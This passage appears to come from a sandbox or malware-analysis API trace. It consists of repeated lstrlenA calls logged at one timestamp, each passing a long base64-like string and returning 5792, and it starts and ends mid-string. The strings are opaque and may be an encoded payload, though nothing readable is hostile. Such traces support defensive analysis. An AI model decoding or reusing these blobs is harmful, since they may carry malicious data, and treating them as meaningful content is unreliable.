Jb9cYzlqCVonC/eprhqeCEnfde/HGgfZ5n6CCZWiEUrXuIrbaxmE3c6ZbEObKD7Wbwz8AlM7p3XNUKICWYt8kypvG1bnZRS0hKmpfIv+ghDwg3PyYrVKr2DmGk+Wjt9tOk+ULdSrkpXJTZTUTRODsxBSL6fy1PgL22xoH8b/b5503Wny8hV2I3eclxqEgh30gA0XUMeEnq6Dh/EJMN6E6Nva6u/jc/djVAs44U6OQ2STos/Nw7NfyhtuX84V4+RjfbOPGPhaTh6mia8m9ZVIyacY+gW/c8FCEi82+5+/kX/VAbhMxak0tLFEolICkZfOyIVHLY7UK/R2lpAODIBoR990pcyeBAj+UI6tdop0kGvI1NDl4QphhZW37C8ar3rV5FWqR7vVWxa25zPi7cfg/CdM/p/AZKqVB13cDR+TmfswJNq6LTmulSTqMl4QTwg2UWKRFlK0vdonIJu7ib2+zagAXTTFRn6M6Yj6HlDC3RF3y70Dj+IpePspwU6EX8KovH4rUfbwg9jMGmZu/43LG5ACzKDMW8lQ3bdcEzL4Fmy5tSYi9RlQS01h9sXHcJUougvsRAg4aByn4QXBsCA5YQt78BXZidfh2+4xMHbLMOCxl9LS4Y8yEzGqMJM2LKUNE5oUeSmcdF7HHJN+r7BuRJYoiQTxc1t3MqOTjJ7OQCAReUOhAOd0YQvpLSFcVFHgxfgHX2HmiUuvnZjXjUPxrOLDwCWpIyd7ZaVAbQw0rKPGcuFYGtSfv7ihvQZmzlBm4mdDOaFOErQ8cDHvb32QZ2Z3hNQuF0NnvoGNkpoiAIknxYXiwza5DmR0NUwD2j73gXKcqTnhiONdAZtK8bylX1PJk9B7fnnjsoQRa5WglIHBfyBwEw9wjxE5iUWrnV0b6hgMAfAoAo3A2VJpLca2Z6kJMRPF0NtRBDFVNcOH0CQ5LcoGCBpYenEIWS5oDfEzb1gcayD07ZZaySZBDNQMaM8X6REHUgnHBZn4Xm6jkrFwpKARvyjahsOsV+ZozgeCw2ju9OoquH8csJxdRucgPmB5dSHescgmSeeYcozxP3wIv6r9Hwg2i/KobEfbzf5opOyS9X/8G/vMfwczi+WaiNTK0M13uB805OlqfIzuxo0c9Xfra5VL5D9UnX8FEcr4z3aN66RMFwHgviNxAVLAlLqTvobs3THM4fqsjLRfjCbGONkMiREB7caOSlA2GVZQOAmraAsOSvPvjaFn5+KWCFnXftNibVsBd3GY3wgaQm9RQU4HFKq8XxWSgRMzdtK35dje7e+FJ5QEwCmrxzLbPuEbiwYJNzyp+Kub2Uemty4OC+9FR2yQOG1m646tcNMCZIPf2hP5dxIp2LpWqMAHGWXceedFvz7mQgkNMo3S/HhKz+/p6ldkwTs9CObAL3cI9rmPN9N6olBDi7Z1Z2XTObji6jlWrUM0dvQsEYXeUutMh3BVwXPmteiGBNUqg07OOra+bHETc2mHIiJCXRuK4ASsAPbBtSHKBLvOe/xQCeLspGViryIozpXOUeiKrwF81Yr5RyMQHKGriYOTB1rdJ/lO6b//EYq/plvQipuG2RXdy4OkXugvZ4m7YHTnAqWV3oSefx3BWalWGBNaz/yW1DstGgWamEcUpCUyMboBWdlSQdhlLKyrVdB/u2I+DfOTxgPiTAeeK9U9M/02vxaiMlTdBb9fzTXk53hkg9yqqN8l6XKEoUnQWfd5FcMNwW8OWHViHpLDWVm+98jvU5uwcmXwPnel1Fvf5R9A/64U3RuGroumyk+H+fk2SVe/d/m+GlsISY9AyD/YtCutm2FR3rmCccOmL2HgqpYzjGEgzQax8t9eBNAYj4NLUOzD0o2+E8O66JcKAS49y4tZsgwk0m1NzXXfw+3Jk1Cewh6k5QQtNQKEiLse4uDogihI0VFkYiaAfZuOW10IeH2elk7QXxlqOjf+W2wRyprHC316Kut2KHxtGy4EK93jKVGvN1uepe/6gSX0jpZw+lVZ+ltK7s2XEU8DXZMO5fTct8tEdK35XMk8MzzlCcSwgAVH07Xir9qSesfvKHl157zcfRDpRH98EkbJfVDBiV8s1AW6xOtbrnYrZsrkPFN+nkeCsFVk7/NSXHelph0K8pEiXhD8I+FbmfG799waoJQ3NFh6kWsAADwTn1zQn7XIzF2Riot/53OWrajeYHvcxqkkme2W9DeUlmWl+G4gDVr2dWoXpPEG/oPKUWaSGb6nJMdqAXtX7jYiFcuCI1T31KwT8D2QMTl5+YE3vo8/AZk2f7GWkYGy8d3JqEt2S12vK3xrwc8FgBi4UQspTpF+yjU/LOJkPOfiuvIdtRJJqskQHA4udnv9zIkKjy9C9Pjw8CuzTNalGRoD513nygF1ajdNKhfbUSN1ggWH72Q/j1bWd0iGETK1kqo0e1AEqTVHc0wMFvEcRbecAQjZCSolAnNmNBzuC2wfV+e2TDBj4+snFpqxe2M8LCM3LXw019UU01Gs0fyXzEu2sWgGWPdCtq8P1xkSWe5Q8VSairsokftiH1TSbYOnIY+YSvtz+ZTFd/KsY0QTwCkMXz8I4rrVYQwplzQUBNSI1mhORqmefty4HpArQnp8yTJw7TnODULcGIYRrl0WEfM22foXv7IDBdVvosGMuabt2IQYRx/sjqA/unJi7Q86VSInEU8Ew548/Gq8awz5QGqoAyjQyMNHMpAAnrKTj+WTuKLOpjHjRcYUEoO6FfJX9+hR4cCh9nDqBn5l3CaD1ntz3PPO5SctrHlOw3433I+lYr+iHD8RzYK0Rd90Uq5XQ8losn/T8pGZKNS0I/sRvQrjEuVWnrjng7s/oMZHzthdWwczeZYv1dh0JGnvGXTvhFNI2xjqjGbNsdG1lnQp7c7JDA4enNFbtEOpKOQVXn67yq2sBLgYgy8JPBKhWcJyfV7+qmV6/ndgN2rH4VKZq3wnWA5TR5CeOkk635kUgJOQh2spzLV5cEJDaJ29L8ip4sIhGc/QNXj3ngjdcHYSwoFjzlN7I0LJkTUiAMqsBq3ymMPoa6rfEknB/aM215QFgHTAKZfeSE+rBTrFyb2Cr6qVcycOec9j91L/jQNXZT9esjhASiArQ+BzNHyY40CJMA4jgkJOxC+dFwzyClV2YM0lMSwODvSgg4fSmwGIA9rQjhalJ9kEfz1rcJZk+OrXz3Vw6UO/b94HF41S7vaIASv0Yars5MrvEsG5Ytc779Q6KNFMx7ZW44j3VBGKwny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA (lpString="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") returned 5792 [0128.356] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt27RyX2fZTVqhxd1fkRh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUJ/+SN0smfGv03bTcrjcA+QPBPQdz0Ga/5kKcBQBcJvqiz1kGYVxNSJgV3ZYz+ycuV4yfhg/F8OJFlaTRfotvPyVoBT6L4EvW6wLm56I8J1ewra46LNmiyIp1LLtFvVNfCmoZz7l6Mcz0UboWgtKxq3zFCRnmh5BWYOg1Gr2CjeV2GGXHPnLiafXptLDRbp7K+f7c2FXdj1T0euSXFvz8jKRlW6eiuuR1EY